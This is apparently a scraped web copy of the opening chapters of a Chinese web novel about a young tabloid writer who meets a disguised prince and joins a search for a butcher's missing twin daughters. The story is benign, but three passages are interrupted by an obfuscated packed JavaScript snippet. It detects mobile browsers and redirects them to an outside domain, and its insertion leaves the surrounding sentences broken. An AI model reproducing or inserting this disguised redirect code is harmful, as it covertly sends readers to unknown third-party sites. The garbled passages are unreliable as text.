《大景第一狗仔队》 1. 春山如笑(1) 春雨惊春清谷天,夏满芒夏暑相连。四十三,小满天,上京喜逢暖阳春。 上京城北御街最风雅撩人的揽月楼,正热热闹闹地开了正大门迎客。 这么明媚的春光,自是惹人心痒,要会一会色艺俱佳的勾栏相好。于是揽月楼客似云来,有头有脸的贵客们出手大方,成堆的礼品挤满了行首美人的桌台。 还有客人悠悠闲闲,不着急上楼,只在大厅吃茶听曲,便注意到揽月楼门口,有一个漂亮的绿衣小姑娘正向里探头探脑,仿佛是从诗中走出来的那样——绀绾双蟠髻,云欹小偃巾。真真是让人一见,便心生喜爱。 客人便唤来小厮:“那姑娘也是你们这儿的吗,怎么从未见过?” 小厮顺着客人手指的方向望去,一见到灵动美丽的少女反而面色一变,显出万分的为难来:“她……她不是啊!” 还不等客人再细问,小厮连忙一路小跑,跑到少女面前,揪着她的袖子把人拉到揽月楼旁边的小巷里,嘴里还不停地抱怨:“顾婉妤!你怎么又来了!不是说好再也不来找我的吗?” 顾婉妤嘿嘿一笑,露出几分狡黠,转头观察了一下周围的情况,确定没人关注他们之后才开口:“这个嘛……本来是这样说好的,最后一次向你买通小王爷和云美人的小道消息,以后再也不写了!” 说完,她眼睛骨碌一转,话锋当即一转:“不过呢,我们的读者不答应,不写小王爷的风流韵事,他们就不买我的小报。你看,这可怎么办,我只能来求你帮帮忙、行行好,你说好不好?” “不好不好!”小厮不耐烦地挥挥手,“你是没见着那场面,小王爷在楼里吃酒听戏,随手拿起一张小报,一翻过来,竟看到了自己的名字。霎那间,真是脸黑如锅底!吓得我赶紧往后厨跑,生怕小王爷知道那是我透露出去的!” “那他不是不知道吗。”顾婉妤想象了一下那个场景,感到有趣极了,忍不住笑出两个酒窝,“你怕什么?” “你说谁不知道?” 突然,一个阴沉的声音插进两人中间,顾婉妤扭头看,发现从揽月楼里走出来一个高挑挺拔、面容俊秀的白衣少年,正虎视眈眈地盯着两人看。 “哎呦!”小厮发出一声惊叫。 顾婉妤又扭回头,发现小厮竟是被吓了一跳跌倒在地。 顾婉妤伸手去扶,却见小厮两腿战战,竟是腿软到扶不起来,只好收回手再次转身,毫不客气地问道:“你是谁,怎么偷听人说话?” “你说我偷听你说话?”闻言,少年怒瞪着睁大了一双圆眸,明显是气急了,“我可都知道了,原来是你!” “我什么?”顾婉妤理直气壮地质问。 这人竟是如此厚颜无耻!少年不可置信地盯着她,唇间发出一声“啧”。两人对峙良久,少年突然低下头轻蔑地看着小厮:“冤有头债有主,趁我还没后悔,你滚吧。” 在地上呆滞坐着的小厮听闻后发出一声惨叫,连滚带爬地跑走了。 瘟神,这是一对瘟神啊,以后再也不来揽月楼打工了! “哼,我还道是什么人胆大包天,敢在小报上对王爷搬弄口舌。”少年不屑地看着顾婉妤,“原来就是你在诬陷王爷!” 顾婉妤听了这掷地有声的一句指责,才明白白衣少年是为了哪档子事生气。她感到震惊又委屈:“怎么是诬陷呢?我写的都是真的,有凭有据,从不胡编乱造。” 少年嗤之以鼻:“煜王爷和揽月楼的云锦,根本一点关系都没有,你听信那小厮为拿几分薄利胡编的故事,就在小报上大书特书他们浓情蜜意,使煜王在民间名誉受损,难道不是诬陷?” “看来,你还自诩挺了解煜王呢。”顾婉妤无奈了,“可是你根本不清楚他和云美人的情谊啊,怎么上来就指责我。” 少年像听见了天大的笑话一般:“我?你说我不清楚?” 顾婉妤点点头,当即就娓娓道来:“你有所不知,煜王和云美人想必是苦于身份阶层的差异,便一起约定了密会的时间。每逢二十四节气的日子,煜王都要遮住身形,隐秘地到这揽月楼来见云美人。另外,他会见的时刻也很有讲究,不是说见就见,而要根据节气顺序对应的二十四时辰来确定。比如今日小满,他就会在第八个时辰,也就是卯正日出时早早过来。现在巳正,我想他已经走了吧。” 少年的表情随着顾婉妤的讲解,从轻视变为不可置信,他瞪着顾婉妤,表情危险地沉声问:“这些事……是谁告诉你的?那个小厮?” 顾婉妤毫不害怕,反而是满足地晃晃脑袋,样子十分得意娇俏:“别小看我,都是我自己探出来的,我可是专业的小报探子。这是别人都不知道的秘密,现在你相信了吧?” “你……你连王爷长什么样都不知道,怎么可能……”少年站在原地恍惚地喃喃自语,又突然咬牙切齿,上前一步紧紧抓住少女的肩膀,厉声说:“这些,你决不能告诉他人!” 顾婉妤被少年突然的爆发弄得呆了一瞬,不过很快她又反应过来,拂开少年的手:“放心吧,我可不会泄露出去破坏煜王和云美人的好事。所以现在能告诉我了吗,你到底是谁?” 少年轻咳了两声,不自在地回答:“我叫……沛洋,是煜王府上的幕僚。” “你,幕僚?”顾婉妤上下打量这个仍显青涩的少年,面露怀疑。 不过这次,赶在少年因她质疑的眼神生气发作之前,顾婉妤笑意吟吟地及时补救:“知道了,看样子我们年龄相当,不妨认识一下结交个朋友,如何?我叫顾婉妤,你可以唤我小妤,我能叫你阿洋吗?” 少女的一双明眸亮晶晶,装满了纯真无邪。 “你随意吧。”少年撇开视线,满脸不自在,又尴尬地逼自己强行开口,询问道,“既然是朋友,你能带我去刊发小报的地方看看吗?我有些好奇。” 出乎少年意料的是,少女爽快地答应了:“当然可以!不过,我想和你交换条件。你作为王府幕僚,必定知道许多宫廷内幕,如果有什么值得刊报、能够引起民间兴趣的消息,记得卖给我。” 少年闭上眼睛,艰难地点了点头。 “太好了,阿洋,以后你就是我在宫里的人脉了!”顾婉妤欣喜不已,笑靥如花般灿烂,“庆祝相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840135|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识,我请你吃饭!” 不待少年拒绝,顾婉妤便不由分说拽着他的袖子离开小巷,匆匆往南面走去。大街上拉拉扯扯不好看,少年无法挣脱,就只能面色通红地跟着她走。 春日的上京,正是适宜出游的时节,柳絮随春风漫天飘舞,人们穿着轻薄漂亮的衣裳,从家里来到街上,熙熙攘攘地为繁华都城增添了生机勃勃的氛围。 顾婉妤仿佛是有几分“职业病”的,走着走着,她就要和路边的小摊小贩们拉拉家常,问问近日可听说了什么稀奇的事。 少年简直都要敬佩她这自来熟的本事了,一般人轻易无法做到与这么多萍水相逢的人自然地交际,更何况她还能招来他人的喜欢,不引起反感。 “哎呀,这花真好看。”顾婉妤和卖花的小娘子打过招呼,从马头竹篮里拾了束新鲜得还在滴水的白芍药。 少年无奈地站在一旁,忍不住开口催促:“还要多久啊?” “呵呵,小公子,可不要这样没耐性哦。”卖花娘子打量两人,捂着嘴笑。 少年一皱眉,急忙连退两步撇开关系,耳朵却悄悄红了。 顾婉妤付了铜钱,抱着花朵转身向阿洋走来:“你饿了?那我不聊天了,可以走快点。” 她年轻的脸庞挨在花束旁边,娇嫩如洁白花瓣一般,令人过目难忘,连过路的路人都投来惊艳的目光。 阿洋不禁又往后退了两步。 “你躲什么。”顾婉妤好笑道,”我娘的摊子就在前面不远处啦。” 原来,顾婉妤所说的请客,正是把人带到她母亲经营的汤饼摊去。恰逢正午时分,小摊人气兴旺,沿街摆放的桌椅几乎坐满了人,且桌桌摆了热气腾腾的面或羹,只闻空气里的味道,都是十分鲜美。 别看这小小的汤饼摊,实际大有来头,摊主极其擅长汤底的熬制,又营养又美味。小摊已在这条南御街上屹立不倒地开了十几年,成为上京美食中的一道金字招牌。 许多常来的食客,与摊主熟识了,就亲切地唤她一声“汤饼娘子”。 汤饼娘子外形高挑美丽,性格豪爽大气,一看就是典型的上京美妇人。她围着围裙在汤锅前忙碌着,抬头一看女儿来了,就招招手,慈爱地唤:“婉妤,过来坐,想吃什么?” 汤饼娘子身边的桌子,向来是空起的,那是她专为女儿以及女儿的友人们留的位。阿洋被顾婉妤一路带到她的娘亲面前,本感觉十分尴尬,不料夫人一脸习以为常,只亲切地招呼,问他想吃什么。 “……夫人好。”阿洋拖出板凳,颇不自在地坐下,“劳您费心,最简单的面就好。” “真是个懂礼数的俊俏小郎君。”汤饼娘子被一声尊称叫得身心舒畅。 不待多久,两碗香喷喷的鸡丝面就被端了上来,葱花飘在金黄色的汤面,让人看了就忍不住要马上喝一口尝尝鲜味。 阿洋道了谢,拿起筷子品尝。味道确实极妙,甚至不比王府的差。 只是,怎么今天的事情发展到现在,成了两个人对坐在小摊上吃面了? 阿洋便问:“吃完就去看小报刊发吗?” 2. 春山如笑(2) 顾婉妤抬起头瞅他:“是啊,不过你不要急,先带你见几个人。” 阿洋一点儿也不想见什么人,他就想赶紧知道这个乱写他风流逸事的小报窝点在哪里,等他探清楚了,回去就带着官府的人一锅端了这些成天乱写造谣、毁他名誉的家伙。 是的,阿洋压根不是什么王府幕僚,他就是崔煜川本人——大景当朝年纪最小的闲散王爷。 本来就因为年纪小没什么存在感,再加上这些小报乱写,他在民间的形象俨然已经变成了那种轻浮放荡、不学无术的纨绔子弟。 这谁受得了! 更何况,他去揽月楼实则是为了见王府埋在敌国政要之中的一个重要暗探,以收集情报,了解敌国动向,而云锦在其中不过是一个可有可无的中间人而已。 结果顾婉妤不仅自说自话地编出一堆令人尴尬的爱情故事引得民间争相传阅、信以为真,还随时有可能泄露他与暗探接头的机密规律。 实在是非常可恶。 崔煜川才不相信顾婉妤能替他保守如此重要的秘密,这小丫头叽叽喳喳,看起来没个心眼,保不准哪天就说出去了。到那时若被有心人发现,不仅暗探的生命安全岌岌可危,甚至可能导致大景与他国的关系更加紧张。 “阿洋,你在想什么?”顾婉妤见阿洋吃着吃着便神游天外,忍不住开口询问道。 难道娘亲做的这么好吃的东西对他都没有吸引力? “我想,你不会是在骗本王……我吧?实际上根本不打算带我去看小报如何制作。”崔煜川一脸不悦,越说心中便越发笃定。 在顾婉妤眼里,却是少年等得不耐烦了,在耍小脾气呢。 “怎么会,我可没有搪塞你,带你过来吃面是固定环节,吃了这面才算入伙啊。”顾婉妤眨着大眼睛,满脸真诚地哄着,“我也不卖关子了!实际上这个面摊就是我和伙伴们接头的地点,我带你来正是为了引荐你正式加入。” “那他们人在哪呢?”崔煜川仍有几分不忿。 “嘿嘿。”顾婉妤尴尬地笑了笑,“有一个就在这里,他人有点怪,但很厉害。” ? 随着顾婉妤话音刚落,突然有一只手搭上了崔煜川的肩膀,还顺便探了探他的肩颈经络,把他吓了一个激灵。 他转身看,竟然是一个满面络腮胡的粗犷大汉,似是刚放下面碗,甚至用另一只手背随意擦了擦嘴。 崔煜川皱起眉毛,刚想拍掉这粗鄙大汉的手,却听见一道音色清澈朗逸的声音在耳边响起,偏偏夹着嗓子语调风骚,让人狠狠恶寒:“公子~” 崔煜川腾地站起身,退避三舍,手背上汗毛乍起。 哪来的妖孽! “哈哈哈哈。”这人似是作弄成功,十分快乐地来到他们的桌子前坐下,顺手便把胡子摘了。 这络腮胡一摘,面目就清晰许多,崔煜川定睛一看,发现这张被藏起来的脸孔竟浓艳到美极。或许是有异域血统,他皮肤白皙泛红、相貌又高眉深目,令人过目不忘,身为男子竟有如此美貌,几乎可媲美宫廷内那些有着倾国之色的胡姬美人。 “小公子真是没耐心,可惜了邓阿娘熬的高汤。” 顾婉妤有趣地看着崔煜川讶异的反应,开口介绍:“这位是流火君,擅长变装,身手极好,是我们之中最厉害的神探。” “小妤谬赞了,我看这位小公子的武艺应当更加高妙,改天有空比划比划。”流火君饶有兴致的看着一脸戒备的崔煜川。 “你还会武功啊!”顾婉妤惊讶,又高兴地说,“那就更便于从事我们这一行了。” 崔煜川被他们两个这一通弄得晕头转向,不禁粗声粗气地拒绝道:“不会。” “流火君说的肯定不会有错。”顾婉妤拉住崔煜川的袖子拽了拽,“别闹脾气啦,快坐一下吧,其他人应该很快也要来了。” 崔煜川僵硬一瞬,谁闹脾气了! 然而,他还是无法抗拒少女纯真的示好,只能顺势坐下了。 果不其然,正当他刚刚落座,与其余两人面面相觑之时,又有人风尘仆仆地从远处赶了过来。 “大哥!大姐!”流火君抱拳,煞有介事地站起来行礼。 “这又是搞得哪一出啊?”姗姗来迟的女子哭笑不得地拍了拍他的肩膀,看到桌上正襟危坐的陌生少年才恍然大悟,“哦,原来是有新人来了,你可不要太捉弄人家。” 来人一男一女,背着行囊,似乎刚从外地回来,从气质来看也确实比他们年长稍些。男子一介书生打扮,细皮嫩肉,腰间佩玉。女子温柔娴静,头戴竹簪,面若春水。 “这是阿洋,人很好还会武功。”顾婉妤笑嘻嘻地居间介绍,“阿洋,这两位是瑜瑾君和阮竹君。” “见过二位。”崔煜川礼貌点头,心里却想着,这是把作案团伙都认齐了,到时还能一网打尽,“诸君的名讳都是笔名吗?” “对。”顾婉妤干净利落地站起身,为大家添茶倒水,“哥哥姐姐们,虽然条件简陋,但仪式不可缺。为了庆祝阿洋加入,我们碰个杯吧。” “欢迎欢迎。”阮竹君端起茶杯,笑容可掬,“阿洋与婉妤年纪相仿,你们能相互照看,我们也更放心,此后行事需得多加小心,莫太过要强。” 流火君也凑上来:“欢迎小公子~” 众人便都举杯,却见桌上只剩一人沉默不语,表情凝重。 “瑜瑾大哥,你有什么想说吗?”顾婉妤问。 瑜瑾君抬起眼睛,与崔煜川对视。 明明一介瘦弱书生,其眼底精光却蕴含了许多意味深长,让崔煜川一下子想起宫中那些老谋深算的大臣。与之对视,不免心中一惊,有种被看透的感觉。 瑜瑾君看着他,似是探究,良久收回目光才说:“阿洋身份不明,怎的就这样使其加入?未免有些不妥吧。” “瑜瑾大哥,我素来以感觉看人,没有失手过。”顾婉妤正色道,“阿洋是好人,我能感觉到。” 瑜瑾君面上仍有不赞许的意味,看来是不同意顾婉妤的做法。 说实在的,如果这里人人都毫不在意,随便接纳他的加入,崔煜川反而要担心其中有诈。或者这些人全都脑子有问题,不懂提防。朝廷官方虽不曾明确表态将小报视为违法,但总体仍是采取打压态度。尤其是胆敢妄议朝政的,稍有不慎便会被打为妄言罪,遭受严酷刑罚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840136|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因此,市面上那些给小报供稿的文人,或者刊发小报的工坊,大抵都在躲躲藏藏,轻易不敢泄露身份。 现在,终于有个正常人站出来怀疑他的动机和身份了,崔煜川反而觉得不出意料。 他到此之前,跟在顾婉妤身后,一路上已经打好了扯谎的腹稿,不怕有人质疑。崔煜川直视瑜瑾君,视线丝毫不回避,正要开口,却被远处传来的阵阵嘈杂和惊呼声打断。 “杀人了!杀人了!” 此方动静令人闻之均是心中一惊:光天化日,还有人敢在闹市行凶? 正巧一桌子都是闻八卦而动的“好事者”,闻声纷纷站起身来,往人声鼎沸之处看。 “什么情况?”顾婉妤踮起脚来探头探脑。 随着人群渐近,出现在视线里的场景大大出乎了顾婉妤的预料。 喊着“杀人”,在前面屁滚尿流地跑着逃命的,是个膘肥体胖的壮汉。反而在壮汉身后举着一把杀猪刀,目眦欲裂地追砍的,是个寻常妇女模样的女子。 “这不是刘屠夫和他老婆刘大姐吗?”面摊旁边的桌子传来邻居们议论的动静,“怎么两口子打架闹到街上来了,也不怕让人瞧了笑话。” “咦!”顾婉妤心惊,她认得屠夫的老婆刘大姐,刘大姐为人贤惠平和,是遇到了什么事,要这样面红耳赤,搏命般地闹到如此程度? “嗐,我还以为有什么大新闻可写,原来是夫妻打架。”流火君听到旁边人的议论,兴致缺缺地重新坐下。 “或许是发生了什么要紧事,我们拦下刘大姐问个清楚吧。”顾婉妤担忧地看着在街上闹出不小动静的二人,“我认得刘大姐,她平素当真没有这么泼辣,今天十分反常。” 几人相互对视,达成默契,阮竹君拍拍流火君的肩膀,示意该他出手。 流火君似乎是这种“任务”接多了,随着阮竹君的动作条件反射般噌地站了起来,显得十分听话。起身后,他才反应过来羞恼地说:“好吧!我去!” 流火君的身手的确利索,他提起轻功跃到两人之间,两下便擒住了横冲直撞的刘屠夫,又按下了刘大姐的刀。 顾婉妤连忙跑过去,身后跟着阮竹和瑜瑾,还有一脸防备地盯着流火君的崔煜川。 “你放开我,我今天就要和这个害了我女儿的狗东西同归于尽!” 顾婉妤听见刘大姐撕心裂肺的呼喊,冲上去抱住她的手臂:“刘大姐!你们怎么了!遇到什么事了?” “你是谁!?你是……婉妤?”刘大姐惊疑不定地看着这个突然出现的小姑娘,许是想起了自己的女儿,她终于冷静了几分,“你们不要插手,这是我的家事。” “刘大姐,有什么你就说,我们一定会帮你!”顾婉妤强硬地拉着她,一定要她讲出事情的缘由,“到底发生了什么,刘大叔怎么会害自己的女儿呢?” “造孽啊!”听到这话,刘屠夫居然放声大哭起来。 大家都被这变故惊呆了,好说歹说才把夫妻两劝回了家,在屠夫家满是肉味的院子里,几人听刘大姐讲述了事情的经过。 原来,顾婉妤的感觉没错,刘屠夫家遇到的,当真是一件人命关天的大事。 3. 春山如笑(3) 在刘屠夫和刘大姐的恸哭之中,顾婉妤几人心情沉重地听闻了刘家女儿们走失的事情。 刘屠夫和刘大姐育有一对可爱的小女儿,且是稀有的一胎双生,相貌如出一辙。从生产到养育,刘夫妇倾注全部心血,将女儿们当成掌上明珠般小心翼翼地抚养。 幸得女儿们也听话懂事,聪明机灵。甚至避开了其父刘屠夫凶横的外貌特点,出落成一双水灵灵的如花美貌,虽年龄尚幼,已能看出是未来的美人胚子。 双生子如此难得,且大景如今仍时有人口贩卖、逼良为娼等腌臜之事屡禁不止,刘家便向来女儿们看管严格,小心翼翼。 可谁曾想,在这万物复苏的春日里,刘屠夫带女儿们上街置办家用,竟是一个晃神,把孩子们弄丢了。 最初,刘屠夫还不以为意,毕竟这是在戒备森严的上京都城之内,街市上也有许多相识多年的老邻居,定能很快就寻到女儿。 可是,当他兜兜转转、四处询问,却发现毫无踪迹时,刘屠夫终于慌了神。 那日,他从白天找到黑夜,如无头苍蝇一般被匆匆赶来的刘大姐寻到,两人无助地在偌大的上京城内一圈圈地叫喊,始终没有任何消息。 刘家夫妇连夜报了官,官府也相当重视,可就连经验丰富的巡铺兵士也没能在城中找到线索。巡铺报告了厢使,厢使又报上了衙门,但衙门的官员召来刘家夫妇了解情况后,却面露难色。 “偶有幼儿走失的,或是胆敢在京都内诱拐儿童的,这些查起来都不难。”老衙役捋着胡子,连连摇头,“但走失的若是双生子,就另当别论。” “老夫在这衙门中当差几十年,见过几次丢了双生子的,都十分蹊跷,仿佛人间蒸发般干干净净,没留下任何线索。” 讲到此处,刘大姐抽噎不止、悲痛欲绝:“他们说丢的若是双生子……就再也找不回来了。” “怎么会呢。”顾婉妤眉头紧锁,“怎么会有这样的事。” 瑜瑾君和阮竹君对视一眼,也皆是怀疑,这世间不可能有平白消失一说,定是奸人用阴谋诡计作祟,不知用了什么法子在旁人毫无察觉的情况下拐走了孩子们。 “既然如此,我们便帮刘大姐一家找找孩子吧。”瑜瑾君说道。 “好!我偏不信人贩子的手段那么高明,能神不知鬼不觉地把孩子带出上京城!”流火君愤愤地一拍大腿,站起来向院外走去,“我去打探打探。” 流火君有自己的黑市门路,能买到一些常人接触不到的消息,这是几人之间心照不宣的秘密。 阮竹君则是找来了纸笔,请刘大姐和刘屠夫坐下,详细描述双生子的相貌,由她来画像。 阮竹君极擅人像绘画,理解力又强,经她巧笔勾勒,一对如花似玉的小姑娘便跃然纸上。浓密的弯眉下是圆滚滚的桃杏眼,唇边美人痣生的恰到好处,顾盼生姿的神色也抓得极准。 刘大姐恍惚地看着画像,忍不住连声说:“像……真像……” 就在阮竹君作画时,顾婉妤等人也在商议还有什么寻人的好办法。 “将寻人的消息载在小报上是个办法,但人像无法印刷上去,效果可能就大打折扣。不如我和阮竹直接画了寻人启事满城张贴来得更快。”瑜瑾君说道。 “我赞成!那官府贴的寻人启事上的画像比起阮竹君绘制的可是差远了。而下次刊发的小报上可以详细描述一些画像难以传达的信息,比如她们的名字、年龄等,内容我来安排。不过……”顾婉妤头疼道,“现在离事发已有一段时间,靠这些方法恐怕已经来不及了。希望她们还在上京城中。” 距离双生子走失已经过去了3日,这个时间说长不长,说短却也不短,若人贩子真有特殊方式将孩子们偷偷带出上京城,寻回孩子的希望就更小了。 “上京外城城门共15座,是出城的唯一方式,除此之外整座皇都固若金汤。”顾婉妤思索着,“从城门出去,无论是何人都要被检查通关文牒,身上携带的物品或是运输的货物也要被搜查,我们能否利用这一点寻人?”她看向沉默不语的崔煜川,欲言又止。 瑜瑾君顺着顾婉妤的目光望过去,心中明白了几分,便直接开口问道:“阿洋有办法吗?他与守城的禁军有渊源?” “不是。” “没有。” 两人同时开口。崔煜川冷脸看了顾婉妤一眼,神色间却透出些动摇。 “阿洋是煜王府上的幕僚,要说找守城禁军通融之类的也是为难他了。”顾婉妤连忙向瑜瑾君解释,“但我想,阿洋能不能从中斡旋,请更有能力的人帮忙,或是找找其他的办法……?” 本来只是要摸清一个乱传八卦的民间小报的来由,不料却卷入一场麻烦事端。崔煜川心中不虞,却因着刘家可怜又离奇的遭遇而生出了许多恻隐之心。 此时若让他甩手弃之不顾,实在有违底线。 “我可以借口王府中有要物遗失,向禁军统领讨一道戒备的命令。其余的,我就也没办法了。”崔煜川默默说完,便不欲再待在这里浪费时间,他没看到顾婉妤和瑜瑾君两人闻言后大为震惊的表情,直接转身离开了。 “哎呀,走的真快。”顾婉妤和瑜瑾君面面相觑,站在原地踌躇片刻,“我还是去送送他吧。”说罢,便急匆匆地追出去了。 身后,瑜瑾君从吃惊的情绪中缓过来,方才自顾自地笑了笑:民间传言煜王爷与其兄相差甚远,是个不学无术的纨绔子弟。而现在依他看来,先不论纨绔不纨绔,煜王根本就与婉妤一样,仍是没长大的少年人呢。 另一边,顾婉妤匆匆赶上了崔煜川:“阿洋,阿洋。你走得也太快了。” “我在那里又帮不上什么忙。”崔煜川硬邦邦地说,语气中不乏几分别扭,“再说,你明明答应了今日要带我去小报印发的工坊,却言而无信,还不许我走了?” “你连让城门戒严都做得到,还说没帮上忙,别太谦虚了。”顾婉妤笑嘻嘻地顺毛儿捋,“你下次再来找我呀,我们一行人每隔三日的正午都去我娘摊子上聚会,下次有空我一定带你去看如何雕版和印制小报。” “好吧。” 顾婉妤瞧崔煜川仍是不太高兴的样子,眼睛灵巧一转,又想出个讨好的点子:“对啦,你看。” 她取下腰间的青绿布袋,从里面掏出一把弯月形状的银匕首,递给他:“给你了,拿着。” “……什么?”崔煜川疑惑地接过来。 且不论女孩子从随身佩戴的锦囊中掏出把匕首是有多奇怪,就只说这匕首的造型,弯月般的刀身设计巧妙,似乎形成了一道便于刺入及放血的弧度。崔煜川握住手柄,感到十分趁手,顺势从刀鞘中拔出,又见寒光一闪,刀锋映照出他的眉眼,便知这匕首打磨得十分锋利。 这感觉……习武多年的他立马便能感知到锻造者的意图。这匕首恐怕是专为刺杀使用,极适合从背后的位置偷袭割喉,且异常凶狠,必定见血封喉,不留丝毫余地。 崔煜川身份尊贵,自然是见多识广,看得出匕首的不凡:“给我了?” 他拿在手里颠了颠,不由得见猎心喜,有了收下的心思。 按大景风俗,女子赠予男子贴身礼物,往往是有着定情信物的含义,若是有年轻的女孩子给崔煜川递礼物,他必然是避之不及的。但顾婉妤的匕首不一样,他压根没往男女之爱那边想。 “就以此匕首作为证明,既然你愿意加入我们,我也绝不骗你。”顾婉妤洒脱一笑。 这话反倒让崔煜川有些心虚了,毕竟动机不纯的人是他。他心里想着,一切就等刘家的事情尘埃落定后再说吧。 反正……他也已经成为这伙人中的一员了,可以阻止他们再捕风捉影地乱写。 于是,崔煜川反手一挥,将腰间系着的玉佩割断了。温润的圆玉落在掌心,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840137|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他递到顾婉妤面前。 “我也不白拿你的,以此作为交换。” 他终于对顾婉妤展颜一笑,眉宇间颇有些少年英豪的侠气在。 大景青年男女素有交换定情信物的风俗,这下,原本没这个意思的顾婉妤突然意识到,他们这不就是在交换信物吗?! 顾婉妤脸红了,有些惊慌地双手接过圆玉:“这……这太贵重了。” “拿着就是,这算什么。”崔煜川财大气粗地挥挥衣袖,“好了,就送到这里吧,我要回去了”。 顾婉妤站在街上,目送少年走远,手心还捏着那块触感细腻润滑的宝玉。 “唉。”她叹了口气,摇摇头,脚步沉重地回家了。 日头还早,这个时间正好是顾爹活动的时候。顾婉妤一推开自家院子的门,就见她爹坐着木头轮椅,在院子里来回绕圈。 “爹,你又在活动身体呢。”顾婉妤托腮评价,“你这臂膀是锻炼到了,但腿脚完全没动弹呢。” “哼。”顾爹傲娇抬鼻,“我要把这轮椅使得比你们的腿脚还好用。” “行吧行吧,小心我娘回来教训你偷懒耍滑。”顾婉妤无奈,往自己的房间走去。 “等等。”顾爹唤住闺女,“你今儿怎么看着满脸不高兴啊?” “路遇不平事,我自然不高兴啦。”顾婉妤便把刘大姐一家的遭遇跟爹爹简单讲了讲。 “倒是没听说过有人专门冲双生子下手,但想来双生子难得,遭了歹人惦记也并不稀奇。”顾爹沉吟摇头,“人心不古啊。” “我想,若要把两个孩子带出上京城,必定会通过15座城门。有个朋友说可以帮忙使城门守军多加戒备,那么或许还有一线机会能把犯人拦在城中。” 顾爹挠挠头,敏锐地抓住话中不同寻常的部分:“你什么时候认识了这么有本事的朋友,还能命令守城军队的?” 顾婉妤猝不及防被噎了一下。 看她支支吾吾说不出话,顾爹眯起眼睛,故作痛心状:“唉!女儿长大了,也开始事事都瞒着爹爹了。” “什么事事瞒着你……”顾婉妤无奈,再抬眼瞧瞧自家心细如发的爹爹,看来是糊弄不过去了。 她就把今天与阿洋相遇的事情讲了一通:“他说完可以帮忙向禁军统领讨一道戒备的命令,我和瑜瑾君就一齐呆住了,才明白过来他原来是小王爷本人,否则怎会有这么大的能力。” “我还说要和他做朋友呢……原来我才是可笑的那个……”顾婉妤自嘲笑笑,又崩溃地揪住头发,“这可怎么办呀!他愿意接近我们肯定是为了让官府把我们一举捣毁,以后就不能在小报上编排他了!” 顾婉妤转念一想:“不过也不能说编排吧,我写的东西可都是有理有据的,真想问问他和云美人到底是什么情况……” 顾爹看着女儿时而崩溃时而傻笑的笨蛋模样,顿觉好笑,这是谁家的傻女儿!他故意玩笑道:“我可是把咱们顾家的小报生意全托付你了,若是被人连根拔起毁于一旦,你可要全权负责。” 顾婉妤闻言嘴角抽搐:“明明是本姑娘临危受命,心疼爹爹养病不便,以一己之力扛起经营小报的重任!成了算我的,败了就算爹你的。” “哈哈哈哈哈!”顾爹闻言大笑,这伶牙俐齿的样子,不知是随了谁! “算了,一切都再说吧。”顾婉妤还纠结在煜王之事中,“反正我努力去讨好他,说不定王爷就愿意高抬贵手放我们小报一马,心情好了还能向我透露一些宫廷秘闻。”顾婉妤自顾自点点头,没来由的自信起来:“没错!小王爷是好人!我要往好处想!” 话虽如此,空闲在家读书写字时,顾婉妤仍会不时想起崔煜川,并生出许多忐忑情绪来。毕竟,这可是她人生中头回接触到的大人物啊!当今皇帝的亲弟弟!居然还被她拉着在街上跑来跑去。 真是细思恐极,粗思也恐极! 4. 春山如笑(4) 顾婉妤把写好的寻人启事送去印坊后,只在家待了一天就坐不住了。流火君与崔煜川正通过各自的门路努力打听消息,印坊那边又有瑜瑾君和阮竹君看着,她不会画画没法做寻人启事也帮不上忙。 不想独自在家中坐立不安、束手无策,我能做点什么呢? 顾婉妤心思活络起来,想到正巧近日逢上了上京的花朝节。 每年花朝节夜会城中既是热闹非凡,又总有不安宁之事发生,许是三教九流都在春夜出来活动的缘故…… 顾婉妤坐不住,就想去凑个热闹,再打听打听刘家女儿们的事情。她给自己找了个探案的正当借口,就蹦跳着往街上去了,顾爹腿脚不便在后面拦也拦不住。 “面具!面具!” 斜后方飞来一面做工精美,雕着曼妙花纹的木面具。 顾婉妤回首接住,就听顾爹中气十足地冲她喊:“戴好面具啊!我女儿年纪还小,可不能让哪家小子见了念念不忘地过来纠缠!” 顾婉妤噗嗤一声笑:“您想什么呢!” 上京的花朝节夜会,素有青年男女相亲的作用。在春夜繁华的都城盛景中,满城适龄男女上街游玩作乐,正能互相接触探看,之后男方家就会去找媒人筹备提亲的事情。 花朝节夜会后,就是上京媒婆们最忙碌的一段日子。 顾婉妤年岁渐长,又出落得亭亭玉立,也难怪顾爹要如此戒备了。 日落之时,街市上已渐渐有了人头攒动的迹象。人流如织,小摊小贩的叫卖声不绝于耳,酒楼饭肆生意兴旺、门庭若市。 